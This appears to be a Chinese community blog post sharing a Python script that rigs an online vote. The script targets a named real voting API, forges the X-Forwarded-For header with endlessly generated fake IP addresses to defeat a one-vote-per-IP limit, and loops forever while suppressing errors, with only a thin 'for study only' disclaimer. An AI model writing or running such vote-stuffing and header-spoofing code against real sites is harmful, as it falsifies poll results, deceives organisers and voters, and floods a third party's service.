用python写的投票脚本
【摘要】 有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:#!/usr/bin/python3# -*- coding: utf-8 -*-#encoding=utf-8 import urllib.requestimport sysimport ti...
有个地方的投票,规则是这样的:1个IP5分钟内只能给1个人投一次票。估计设计者的想法只是想得到投票的数据,而不是用来比较排名的,不然不应该这样设置规则。现在把python代码粘贴出来,仅供学习:
#!/usr/bin/python3 # -*- coding: utf-8 -*- #encoding=utf-8 import urllib.request import sys import time url= "http://policestar.gdtengnan.com/api/vote/add?id=177" #投票提交的数据 while(0<1): for i in range(12,254): for j in range(1,254): for k in range(1,254): for l in range(1,254): try: ip=str(i)+"."+str(j)+"."+str(k)+"."+str(l) #虚拟出无数不同的投票IP req = urllib.request.Request(url) req.add_header('Referer','//policestar.gdtengnan.com/') req.add_header("x-forwarded-for",ip) #应用虚拟出的IP req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0') r = urllib.request.urlopen(req) html = r.read() receive_header = r.info() html = html.decode('utf-8').encode(sys.getfilesystemencoding()) print (receive_header) print ('#####################################') print (html) #time.sleep( 1 ) except(Exception): print (1) #出错时输出(随意)防止脚本中断
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)